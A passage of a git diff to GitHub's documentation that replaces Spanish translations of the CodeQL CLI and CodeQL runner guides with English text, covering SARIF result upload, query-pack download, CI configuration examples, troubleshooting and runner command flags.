+| Option | Required | Usage | +|--------|:--------:|-----| +| `--repository` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the *OWNER/NAME* of the repository to upload data to. The owner must be an organization within an enterprise that has a license for {% data variables.product.prodname_GH_advanced_security %} and {% data variables.product.prodname_GH_advanced_security %} must be enabled for the repository{% ifversion fpt or ghec %}, unless the repository is public{% endif %}. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." +| `--ref` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the name of the `ref` you checked out and analyzed so that the results can be matched to the correct code. For a branch use: `refs/heads/BRANCH-NAME`, for the head commit of a pull request use `refs/pulls/NUMBER/head`, or for the {% data variables.product.prodname_dotcom %}-generated merge commit of a pull request use `refs/pulls/NUMBER/merge`. +| `--commit` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the full SHA of the commit you analyzed. +| `--sarif` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the SARIF file to load.{% ifversion ghes > 3.0 or ghae %} +| `--github-url` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the URL for {% data variables.product.product_name %}.{% endif %} +| `--github-auth-stdin` | | Optional. Use to pass the CLI the {% data variables.product.prodname_github_app %} or personal access token created for authentication with {% data variables.product.company_short %}'s REST API via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token. -Para obtener más información, consulta la sección [resultados de carga de github](https://codeql.github.com/docs/codeql-cli/manual/github-upload-results/) en la documentación del {% data variables.product.prodname_codeql_cli %}. +For more information, see [github upload-results](https://codeql.github.com/docs/codeql-cli/manual/github-upload-results/) in the documentation for the {% data variables.product.prodname_codeql_cli %}. -### Ejemplo básico +### Basic example -Este ejemplo carga los resultados del archivo SARIF `temp/example-repo-js.sarif` al repositorio `my-org/example-repo`. Le dice a la API del {% data variables.product.prodname_code_scanning %} que los resultados son para la confirmación `deb275d2d5fe9a522a0b7bd8b6b6a1c939552718` en la rama `main`. +This example uploads results from the SARIF file `temp/example-repo-js.sarif` to the repository `my-org/example-repo`. It tells the {% data variables.product.prodname_code_scanning %} API that the results are for the commit `deb275d2d5fe9a522a0b7bd8b6b6a1c939552718` on the `main` branch. ``` $ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-repo \ @@ -559,67 +234,29 @@ $ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example- {% endif %}--github-auth-stdin ``` -No hay salida para este comando a menos de que la carga no sea exitosa. El símbolo de sistema regresa cuando la carga se completa e inicia el procesamiento de datos. En bases de código más pequeñas, debes poder explorar las alertas del {% data variables.product.prodname_code_scanning %} en {% data variables.product.product_name %} poco tiempo después. Puedes ver las alertas directamente en la solicitud de cambios en la pestaña de **Seguridad** de las ramas, dependiendo del código que verificaste. Para obtener más información, consulta las secciones "[Clasificar las alertas del {% data variables.product.prodname_code_scanning %} en las solicitudes de cambio](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" y "[Administrar las alertas del {% data variables.product.prodname_code_scanning %} de tu repositorio](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)". +There is no output from this command unless the upload was unsuccessful. The command prompt returns when the upload is complete and data processing has begun. On smaller codebases, you should be able to explore the {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} shortly afterward. You can see alerts directly in the pull request or on the **Security** tab for branches, depending on the code you checked out. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" and "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." {% if codeql-packs %} -## Descargar y utilizar paquetes de consultas de {% data variables.product.prodname_codeql %} +## Downloading and using {% data variables.product.prodname_codeql %} query packs {% data reusables.code-scanning.beta-codeql-packs-cli %} -El paquete de {% data variables.product.prodname_codeql_cli %} incluye consultas que mantienen los expertos de {% data variables.product.company_short %}, los investigadores de seguridad y los contribuyentes de la comunidad. Si quieres ejecutar consultas que desarrollan otras organizaciones, los paquetes de consultas de {% data variables.product.prodname_codeql %} proporcionan una forma confiable y eficiente de descargarlas y ejecutarlas. Para obtener más información, consulta la sección "[Acerca del escaneo de código con CodeQL"](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries)". +The {% data variables.product.prodname_codeql_cli %} bundle includes queries that are maintained by {% data variables.product.company_short %} experts, security researchers, and community contributors. If you want to run queries developed by other organizations, {% data variables.product.prodname_codeql %} query packs provide an efficient and reliable way to download and run queries. For more information, see "[About code scanning with CodeQL](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries)." -Antes de que puedas utilizar un paquete de {% data variables.product.prodname_codeql %} para analizar una base de datos, debes descargar cualquier paquete que requieras desde el {% data variables.product.prodname_container_registry %} de {% data variables.product.company_short %} ejecutando `codeql pack download` y especificando los paquetes que quieras descargar. Si un paquete no está disponible públicamente, necesitarás utilizar un token de acceso personal o de {% data variables.product.prodname_github_app %} para autenticarte. Para obtener más información y un ejemplo, consulta la sección anterior de "[Cargar los resultados a {% data variables.product.product_name %}](#uploading-results-to-github)". +Before you can use a {% data variables.product.prodname_codeql %} pack to analyze a database, you must download any packages you require from the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %} by running `codeql pack download` and specifying the packages you want to download. If a package is not publicly available, you will need to use a {% data variables.product.prodname_github_app %} or personal access token to authenticate. For more information and an example, see "[Uploading results to {% data variables.product.product_name %}](#uploading-results-to-github)" above. ```shell codeql pack download <scope/name@version>,... ``` - - - - - - - - - - - - - - - - - - - - - - - - -
- Opción - - Requerido - - Uso -
- `` - - {% octicon "check-circle-fill" aria-label="Required" %} - - Especifica el alcance y nombre de uno o más paquetes de consultas de CodeQL a descargar utilizando una lista separada por comas. Opcionalmente, incluye la versión para descargar y descomprimir. Se descarga la versión más reciente de este paquete predeterminadamente. -
- `--github-auth-stdin` - - - Opcional. Pasa la {% data variables.product.prodname_github_app %} o el token de acceso personal que se creó para la autenticación con la API de REST de {% data variables.product.company_short %} al CLI a través de una entrada estándar. Esto no se necesita si el comando tiene acceso a una variable de ambiente de GITHUB_TOKEN que se configuró con este token. -
+| Option | Required | Usage | +|--------|:--------:|-----| +| `` | {% octicon "check-circle-fill" aria-label="Required" %} | Specify the scope and name of one or more CodeQL query packs to download using a comma-separated list. Optionally, include the version to download and unzip. By default the latest version of this pack is downloaded. | +| `--github-auth-stdin` | | Optional. Pass the {% data variables.product.prodname_github_app %} or personal access token created for authentication with {% data variables.product.company_short %}'s REST API to the CLI via standard input. This is not needed if the command has access to a `GITHUB_TOKEN` environment variable set with this token. -### Ejemplo básico +### Basic example -Este ejemplo ejecuta dos comandos para descargar la última versión del paquete `octo-org/security-queries` y luego analiza la base de datos `/codeql-dbs/example-repo`. +This example runs two commands to download the latest version of the `octo-org/security-queries` pack and then analyze the database `/codeql-dbs/example-repo`. ``` $ echo $OCTO-ORG_ACCESS_TOKEN | codeql pack download octo-org/security-queries @@ -642,9 +279,9 @@ $ codeql database analyze /codeql-dbs/example-repo octo-org/security-queries \ {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## Configuración de IC de ejemplo para el análisis de {% data variables.product.prodname_codeql %} +## Example CI configuration for {% data variables.product.prodname_codeql %} analysis -Este es un ejemplo de la serie de comandos que puedes utilizar para analizar una base de código con dos lenguajes compatibles y luego cargar los resultados a {% data variables.product.product_name %}. +This is an example of the series of commands that you might use to analyze a codebase with two supported languages and then upload the results to {% data variables.product.product_name %}. ```shell # Create CodeQL databases for Java and Python in the 'codeql-dbs' directory @@ -678,25 +315,25 @@ echo $UPLOAD_TOKEN | codeql github upload-results --repository=my-org/example-re --sarif=python-results.sarif --github-auth-stdin ``` -## Solucionar problemas del {% data variables.product.prodname_codeql_cli %} en tu sistema de IC +## Troubleshooting the {% data variables.product.prodname_codeql_cli %} in your CI system -### Visualizar la información diangóstica y de la bitácora +### Viewing log and diagnostic information -Cuando analices una base de datos de {% data variables.product.prodname_codeql %} utilizando un conjunto de consultas del {% data variables.product.prodname_code_scanning %} adicionalmente a generar información detallada sobre las alertas, el CLI reporta datos de diagnóstico desde el paso de generación de base de datos y las métricas de resumen. En el caso de los repositorios con pocas alertas, puede que esta información te sea útil para determinar si genuinamente hay pocos problemas en el código o si hubieron errores que se generaron en la base datos de {% data variables.product.prodname_codeql %}. Para obtener una salida más detallada de `codeql database analyze`, utiliza la opción `--verbose`. +When you analyze a {% data variables.product.prodname_codeql %} database using a {% data variables.product.prodname_code_scanning %} query suite, in addition to generating detailed information about alerts, the CLI reports diagnostic data from the database generation step and summary metrics. For repositories with few alerts, you may find this information useful for determining if there are genuinely few problems in the code, or if there were errors generating the {% data variables.product.prodname_codeql %} database. For more detailed output from `codeql database analyze`, use the `--verbose` option. -Para obtener información sobre el tipo de información de diagnóstico disponible, consulta la sección "[Visualizar las bitácoras del {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs#about-analysis-and-diagnostic-information)". +For more information about the type of diagnostic information available, see "[Viewing {% data variables.product.prodname_code_scanning %} logs](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs#about-analysis-and-diagnostic-information)". -### El {% data variables.product.prodname_code_scanning_capc %} solo muestra los resultados de análisis de uno de los lenguajes analizados +### {% data variables.product.prodname_code_scanning_capc %} only shows analysis results from one of the analyzed languages -Predeterminadamente, el {% data variables.product.prodname_code_scanning %} espera un archivo de resultado SARIF por cada análisis de un repositorio. Como consecuencia, cuando cargues un segundo archivo de resultados SARIF para una confirmación, este se tratará como un reemplazo para el conjunto de datos original. +By default, {% data variables.product.prodname_code_scanning %} expects one SARIF results file per analysis for a repository. Consequently, when you upload a second SARIF results file for a commit, it is treated as a replacement for the original set of data. -Si quieres cargar más de un conjunto de resultados a la API del {% data variables.product.prodname_code_scanning %} para una confirmación en un repositorio, debes identificar cada conjunto de resultados como un conjunto único. En el caso de los repositorios en donde creas más de una base de datos de {% data variables.product.prodname_codeql %} para analizar cada confirmación, utiliza la opción `--sarif-category` para especificar un lenguaje u otra categoría para cada archivo SARIF que generes para ese repositorio. +If you want to upload more than one set of results to the {% data variables.product.prodname_code_scanning %} API for a commit in a repository, you must identify each set of results as a unique set. For repositories where you create more than one {% data variables.product.prodname_codeql %} database to analyze for each commit, use the `--sarif-category` option to specify a language or other unique category for each SARIF file that you generate for that repository. -### Alternativa si tu sistema de IC no puede activar el {% data variables.product.prodname_codeql_cli %} +### Alternative if your CI system cannot trigger the {% data variables.product.prodname_codeql_cli %} {% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} -Si tu sistema de IC no puede activar la autocompilación del {% data variables.product.prodname_codeql_cli %} y no puedes especificar una línea de comandos para dicha compilación, puedes utilizar el rastreo de compilación indirecta para crear bases de datos de {% data variables.product.prodname_codeql %} para los lenguajes compilados. Para obtener más información, consulta la sección [Utilizar el rastreo indirecto de compilaciones](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#using-indirect-build-tracing) en la documentación del {% data variables.product.prodname_codeql_cli %}. +If your CI system cannot trigger the {% data variables.product.prodname_codeql_cli %} autobuild and you cannot specify a command line for the build, you can use indirect build tracing to create {% data variables.product.prodname_codeql %} databases for compiled languages. For more information, see [Using indirect build tracing](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#using-indirect-build-tracing) in the documentation for the {% data variables.product.prodname_codeql_cli %}. {% endif %} @@ -710,7 +347,7 @@ Si tu sistema de IC no puede activar la autocompilación del {% data variables.p {% endif %} -## Leer más +## Further reading -- [Crear bases de datos de CodeQL](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) -- [Analizar las bases de datos con el CLI de CodeQL](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) +- [Creating CodeQL databases](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/) +- [Analyzing databases with the CodeQL CLI](https://codeql.github.com/docs/codeql-cli/analyzing-databases-with-the-codeql-cli/) diff --git a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md index 6fdadc1e81..7c42e31833 100644 --- a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md +++ b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: Configurar el ejecutor de CodeQL en tu sistema de IC -shortTitle: Configurar el ejecutor de CodeQL -intro: 'Puedes configurar la forma en la que {% data variables.product.prodname_codeql_runner %} escanea el código en tu proyecto y en la que carga los resultados a {% data variables.product.prodname_dotcom %}.' +title: Configuring CodeQL runner in your CI system +shortTitle: Configure CodeQL runner +intro: 'You can configure how the {% data variables.product.prodname_codeql_runner %} scans the code in your project and uploads the results to {% data variables.product.prodname_dotcom %}.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -28,32 +28,32 @@ topics: - C# - Java --- - {% data reusables.code-scanning.deprecation-codeql-runner %} {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## Acerca de configurar el {% data variables.product.prodname_code_scanning %} de {% data variables.product.prodname_codeql %} en tu sistema de IC +## About configuring {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system -Para integrar el {% data variables.product.prodname_code_scanning %} en tu sistema de IC, puedes utilizar el {% data variables.product.prodname_codeql_runner %}. Para obtener más información, consulta la sección "[Ejecutar el {% data variables.product.prodname_codeql_runner %} en tu sistema de IC](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)". +To integrate {% data variables.product.prodname_code_scanning %} into your CI system, you can use the {% data variables.product.prodname_codeql_runner %}. For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." -En general, se invoca el {% data variables.product.prodname_codeql_runner %} de la siguiente manera. +In general, you invoke the {% data variables.product.prodname_codeql_runner %} as follows. ```shell $ /path/to-runner/codeql-runner-OS ``` -`/path/to-runner/` depende de si descargaste el {% data variables.product.prodname_codeql_runner %} en tu sistema de IC. `codeql-runner-OS` depende del sistema operativo que utilices. Hay tres versiones del {% data variables.product.prodname_codeql_runner %}, `codeql-runner-linux`, `codeql-runner-macos`, y `codeql-runner-win`, para sistemas Linux, macOS y Windows respectivamente. +`/path/to-runner/` depends on where you've downloaded the {% data variables.product.prodname_codeql_runner %} on your CI system. `codeql-runner-OS` depends on the operating system you use. +There are three versions of the {% data variables.product.prodname_codeql_runner %}, `codeql-runner-linux`, `codeql-runner-macos`, and `codeql-runner-win`, for Linux, macOS, and Windows systems respectively. -Para personalizar la forma en la que el {% data variables.product.prodname_codeql_runner %} escanea tu código, puedes utilizar marcadores, tales como `--languages` y `--queries`,o puedes especificar configuraciones personalizadas en un archivo de configuración por separado. +To customize the way the {% data variables.product.prodname_codeql_runner %} scans your code, you can use flags, such as `--languages` and `--queries`, or you can specify custom settings in a separate configuration file. -## Escanear las solicitudes de extracción +## Scanning pull requests -El escanear el código cada que se crea una solicitud de cambios previene que los desarrolladores introduzcan vulnerabilidades y errores nuevos a este. +Scanning code whenever a pull request is created prevents developers from introducing new vulnerabilities and errors into the code. -Para escanear una solicitud de cambios, ejecuta el comando `analyze` y utiliza el marcador `--ref` para especificar la solicitud de cambios. La referencia es `refs/pull//head` o `refs/pull//merge`, dependiendo de si seleccionaste la confirmación HEAD de la rama de la solicitud de cambios o una confirmación de fusión con la rama base. +To scan a pull request, run the `analyze` command and use the `--ref` flag to specify the pull request. The reference is `refs/pull//head` or `refs/pull//merge`, depending on whether you have checked out the HEAD commit of the pull request branch or a merge commit with the base branch. ```shell $ /path/to-runner/codeql-runner-linux analyze --ref refs/pull/42/merge @@ -61,48 +61,50 @@ $ /path/to-runner/codeql-runner-linux analyze --ref refs/pull/42/merge {% note %} -**Nota**: Si analizas código con una herramienta de terceros y quieres que los resultados aparezcan como verificaciones de solicitudes de cambios, debes ejecutar el comando `upload` y utilizar el marcador `--ref` para especificar la solicitud de cambios en vez de la rama. La referencia es `refs/pull//head` o `refs/pull//merge`. +**Note**: If you analyze code with a third-party tool and want the results to appear as pull request checks, you must run the `upload` command and use the `--ref` flag to specify the pull request instead of the branch. The reference is `refs/pull//head` or `refs/pull//merge`. {% endnote %} -## Invalidar la detección automática de lenguaje +## Overriding automatic language detection -El {% data variables.product.prodname_codeql_runner %} detecta automáticamente y escanea el código que se ha escrito en los lenguajes compatibles. +The {% data variables.product.prodname_codeql_runner %} automatically detects and scans code written in the supported languages. {% data reusables.code-scanning.codeql-languages-bullets %} {% data reusables.code-scanning.specify-language-to-analyze %} -Para anular la detección automática de lenguajes, ejecuta el comando `init` con el marcador `--languages`, seguido de una lista separada por comas de las palabras clave de los lenguajes. Las palabras clave para los lenguajes compatibles son {% data reusables.code-scanning.codeql-languages-keywords %}. +To override automatic language detection, run the `init` command with the `--languages` flag, followed by a comma-separated list of language keywords. The keywords for the supported languages are {% data reusables.code-scanning.codeql-languages-keywords %}. ```shell $ /path/to-runner/codeql-runner-linux init --languages cpp,java ``` -## Ejecutar consultas adicionales +## Running additional queries {% data reusables.code-scanning.run-additional-queries %} {% data reusables.code-scanning.codeql-query-suites %} -Para agregar una o más consultas, pasa una lista separada por comas de las rutas al marcador `--queries` del comando `init`. También puedes especificar consultas adicionales en un archivo de configuración. +To add one or more queries, pass a comma-separated list of paths to the `--queries` flag of the `init` command. You can also specify additional queries in a configuration file. -Si también estás usando un archivo de configuración para los ajustes personalizados y también estás especificando consultas adicionales con el marcador de `--queries`, el {% data variables.product.prodname_codeql_runner %} utilizará consultas adicionales que se especifican con el marcador `--queries` en vez de con cualquier otro en el archivo de configuración. Si quieres ejecutar el conjunto combinado de consultas adicionales que se especifican con el marcador y en el archivo de configuración, usa un prefijo en el valor que se pasa a `--queries` con el símbolo `+`. Para encontrar ejemplos de archivos de configuración, consulta la sección "[Ejemplos de archivos de configuración](#example-configuration-files)". +If you also are using a configuration file for custom settings, and you are also specifying additional queries with the `--queries` flag, the {% data variables.product.prodname_codeql_runner %} uses the additional queries specified with the `--queries` flag instead of any in the configuration file. +If you want to run the combined set of additional queries specified with the flag and in the configuration file, prefix the value passed to `--queries` with the `+` symbol. +For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)." -En el siguiente ejemplo, el símbolo `+` garantiza que el {% data variables.product.prodname_codeql_runner %} utilizará consultas adicionales junto con cualquier otra consulta que se especifique en el archivo de configuración referenciado. +In the following example, the `+` symbol ensures that the {% data variables.product.prodname_codeql_runner %} uses the additional queries together with any queries specified in the referenced configuration file. ```shell $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml --queries +security-and-quality,octo-org/python-qlpack/show_ifs.ql@main ``` -## Utilizar una herramienta de escaneo de código de terceros +## Using a custom configuration file -En vez de pasar información adicional a los comandos de {% data variables.product.prodname_codeql_runner %}, puedes especificar ajustes personalizados en un archivo de configuración por separado. +Instead of passing additional information to the {% data variables.product.prodname_codeql_runner %} commands, you can specify custom settings in a separate configuration file. -El archivo de configuración es un archivo de YAML. Utiliza una sintaxis similar a aquella del flujo de trabajo para {% data variables.product.prodname_actions %}, de acuerdo como se ilustra en los siguientes ejemplos. Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)". +The configuration file is a YAML file. It uses syntax similar to the workflow syntax for {% data variables.product.prodname_actions %}, as illustrated in the examples below. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)." -Utiliza el marcador `--config-file` del comando `init` para especificar el archivo de configuración. El valor de `--config-file` es la ruta al archivo de configuración que quieres utilizar. Este ejemplo carga el archivo de configuración _.github/codeql/codeql-config.yml_. +Use the `--config-file` flag of the `init` command to specify the configuration file. The value of `--config-file` is the path to the configuration file that you want to use. This example loads the configuration file _.github/codeql/codeql-config.yml_. ```shell $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml @@ -110,115 +112,111 @@ $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-c {% data reusables.code-scanning.custom-configuration-file %} -### Ejemplos de archivos de configuración +### Example configuration files {% data reusables.code-scanning.example-configuration-files %} -## Configurar {% data variables.product.prodname_code_scanning %} para los lenguajes compilados +## Configuring {% data variables.product.prodname_code_scanning %} for compiled languages -Para los lenguajes C/C++, C#, y Java, {% data variables.product.prodname_codeql %} compila el código antes de analizarlo. {% data reusables.code-scanning.analyze-go %} +For the compiled languages C/C++, C#, and Java, {% data variables.product.prodname_codeql %} builds the code before analyzing it. {% data reusables.code-scanning.analyze-go %} -Para varios sistemas de compilación comunes, el {% data variables.product.prodname_codeql_runner %} puede compilar el código automáticamente. Para intentar compilar el código automáticamente, ejecuta `autobuild` entre los pasos de `init` y `analyze`. Nota que, si tu repositorio necesita una versión específica de una herramienta de compilación, puede que necesites instalar dicha herramienta manualmente primero. +For many common build systems, the {% data variables.product.prodname_codeql_runner %} can build the code automatically. To attempt to build the code automatically, run `autobuild` between the `init` and `analyze` steps. Note that if your repository requires a specific version of a build tool, you may need to install the build tool manually first. -El proceso de `autobuild` solo intenta siempre compilar _un_ solo lenguaje compilado para un repositorio. El lenguaje que se selecciona automáticamente para su análisis es aquél presente en más archivos. Si quieres elegir un lenguaje explícitamente, utiliza el marcador `--language` del comando `autobuild`. +The `autobuild` process only ever attempts to build _one_ compiled language for a repository. The language automatically selected for analysis is the language with the most files. If you want to choose a language explicitly, use the `--language` flag of the `autobuild` command. ```shell $ /path/to-runner/codeql-runner-linux autobuild --language csharp ``` -Si el comando `autobuild` no puede compilar tu código, tú mismo puedes ejecutar los pasos de compilación entre los pasos de `init` y `analyze`. Para obtener más información, consulta la sección "[Ejecutar el {% data variables.product.prodname_codeql_runner %} en tu sistema de IC](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)". +If the `autobuild` command can't build your code, you can run the build steps yourself, between the `init` and `analyze` steps. For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)." -## Puedes escribir un archivo de configuración para {% data variables.product.prodname_code_scanning %}. +## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %} -Predeterminadamente, el {% data variables.product.prodname_codeql_runner %} carga los resultados del {% data variables.product.prodname_code_scanning %} cuando ejecutas el comando `analyze`. También puedes cargar archivos de SARIF por separado si utilizas el comando `upload`. +By default, the {% data variables.product.prodname_codeql_runner %} uploads results from {% data variables.product.prodname_code_scanning %} when you run the `analyze` command. You can also upload SARIF files separately, by using the `upload` command. -Una vez que hayas cargado los datos, {% data variables.product.prodname_dotcom %} mostrará las alertas en tu repositorio. -- Si cargaste algo a una solicitud de cambios, por ejemplo `--ref refs/pull/42/merge` o `--ref refs/pull/42/head`, entonces los resultados aparecerán como alertas en una verificación de solicitud de cambios. Para obtener màs informaciònPara obtener más información, consulta la sección "[Clasificar las alertas del escaneo de código en las solicitudes de cambios](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)". -- Si cargaste algo a la rama, por ejemplo `--ref refs/heads/my-branch`, entonces los resultados aparecerán en la pestaña de **Seguridad** de tu repositorio. Para obtener más información, consulta la sección "[Administrar las alertas del escaneo de código para tu repositorio](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)". +Once you've uploaded the data, {% data variables.product.prodname_dotcom %} displays the alerts in your repository. +- If you uploaded to a pull request, for example `--ref refs/pull/42/merge` or `--ref refs/pull/42/head`, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." +- If you uploaded to a branch, for example `--ref refs/heads/my-branch`, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." -## Referencia de comandos de {% data variables.product.prodname_codeql_runner %} +## {% data variables.product.prodname_codeql_runner %} command reference -El {% data variables.product.prodname_codeql_runner %} es compatible con los siguientes comandos y marcadores. +The {% data variables.product.prodname_codeql_runner %} supports the following commands and flags. ### `init` -Inicializa el {% data variables.product.prodname_codeql_runner %} y crea una base de datos de {% data variables.product.prodname_codeql %} para analizar cada lenguaje. +Initializes the {% data variables.product.prodname_codeql_runner %} and creates a {% data variables.product.prodname_codeql %} database for each language to be analyzed. -| Marcador | Requerido | Valor de entrada | -| -------------------------------------- |:---------:| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `--repositorio` | ✓ | Nombre del repositorio a inicializar. | -| `--github-url` | ✓ | URL de la instancia de {% data variables.product.prodname_dotcom %} donde se hospeda tu repositorio. |{% ifversion ghes < 3.1 %} -| `--github-auth` | ✓ | Un token de {% data variables.product.prodname_github_apps %} o un token de acceso personal. |{% else %} -| `--github-auth-stdin` | ✓ | Lee el token de las {% data variables.product.prodname_github_apps %} o token de acceso personal desde la entrada estándar. -{% endif %} -| `--languages` | | Lista separada por comas de los lenguajes a analizar. Predeterminadamente, el {% data variables.product.prodname_codeql_runner %} detecta y analiza todos los lenguajes compatibles en el repositorio. | -| `--queries` | | Lista separada por comas de las consultas adicionales a ejecutar, adicionalmente a la suite predeterminada de consultas de seguridad. Esto anula la configuración de `queries` en el archivo de configuración personalizado. | -| `--config-file` | | Ruta al archivo de configuración personalizado. | -| `--codeql-path` | | Ruta a una copia del CLI ejecutable de {% data variables.product.prodname_codeql %} a utilizar. Predeterminadamente, el {% data variables.product.prodname_codeql_runner %} descarga una copia. | -| `--temp-dir` | | Directorio donde se almacenan los archivos temporales. El predeterminado es `./codeql-runner`. | -| `--tools-dir` | | Directorio donde las herramientas de {% data variables.product.prodname_codeql %} y otros archivos se almacenan entre ejecuciones. El predeterminado es un subdirectorio del directorio principal. | -| `--checkout-path` | | La ruta a la confirmación de salida de tu repositorio. El predeterminado es el directorio de trabajo. | -| `--debug` | | Ninguno. Imprime una salida más verbosa. | -| `--trace-process-name` | | Avanzado y solo para Windows. Nombre del proceso en donde se inyecta un rastreador de Windows para este proceso. | -| `--trace-process-level` | | Avanzado y solo para Windows. Cantidad de niveles ascendentes del proceso padre en donde se inyecta un rastreador de Windows para este proceso. | -| `-h`, `--help` | | Ninguno. Muestra la ayuda para el comando. | +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--repository` | ✓ | Name of the repository to initialize. | +| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |{% ifversion ghes < 3.1 %} +| `--github-auth` | ✓ | A {% data variables.product.prodname_github_apps %} token or personal access token. |{% else %} +| `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or personal access token from standard input. |{% endif %} +| `--languages` | | Comma-separated list of languages to analyze. By default, the {% data variables.product.prodname_codeql_runner %} detects and analyzes all supported languages in the repository. | +| `--queries` | | Comma-separated list of additional queries to run, in addition to the default suite of security queries. This overrides the `queries` setting in the custom configuration file. | +| `--config-file` | | Path to custom configuration file. | +| `--codeql-path` | | Path to a copy of the {% data variables.product.prodname_codeql %} CLI executable to use. By default, the {% data variables.product.prodname_codeql_runner %} downloads a copy. | +| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | +| `--tools-dir` | | Directory where {% data variables.product.prodname_codeql %} tools and other files are stored between runs. The default is a subdirectory of the home directory. | +| `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | +| `--debug` | | None. Prints more verbose output. | +| `--trace-process-name` | | Advanced, Windows only. Name of the process where a Windows tracer of this process is injected. | +| `--trace-process-level` | | Advanced, Windows only. Number of levels up of the parent process where a Windows tracer of this process is injected. | +| `-h`, `--help` | | None. Displays help for the command. | ### `autobuild` -Intenta compilar el código para los lenguajes compilados de C/C++, C#, y Java. Para estos lenguajes, {% data variables.product.prodname_codeql %} compila el código antes de analizarlo. Ejecuta `autobuild` entre los pasos de `init` y `analyze`. +Attempts to build the code for the compiled languages C/C++, C#, and Java. For those languages, {% data variables.product.prodname_codeql %} builds the code before analyzing it. Run `autobuild` between the `init` and `analyze` steps. -| Marcador | Requerido | Valor de entrada | -| -------------------------------- |:---------:| ------------------------------------------------------------------------------------------------------------------------------------------- | -| `--language` | | El lenguaje a compilar. Predeterminadamente, el {% data variables.product.prodname_codeql_runner %} compila el lenguaje con más archivos. | -| `--temp-dir` | | Directorio donde se almacenan los archivos temporales. El predeterminado es `./codeql-runner`. | -| `--debug` | | Ninguno. Imprime una salida más verbosa. | -| `-h`, `--help` | | Ninguno. Muestra la ayuda para el comando. | +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--language` | | The language to build. By default, the {% data variables.product.prodname_codeql_runner %} builds the compiled language with the most files. | +| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | +| `--debug` | | None. Prints more verbose output. | +| `-h`, `--help` | | None. Displays help for the command. | ### `analyze` -Analiza el código en las bases de datos de {% data variables.product.prodname_codeql %} y carga los resultados a {% data variables.product.product_name %}. 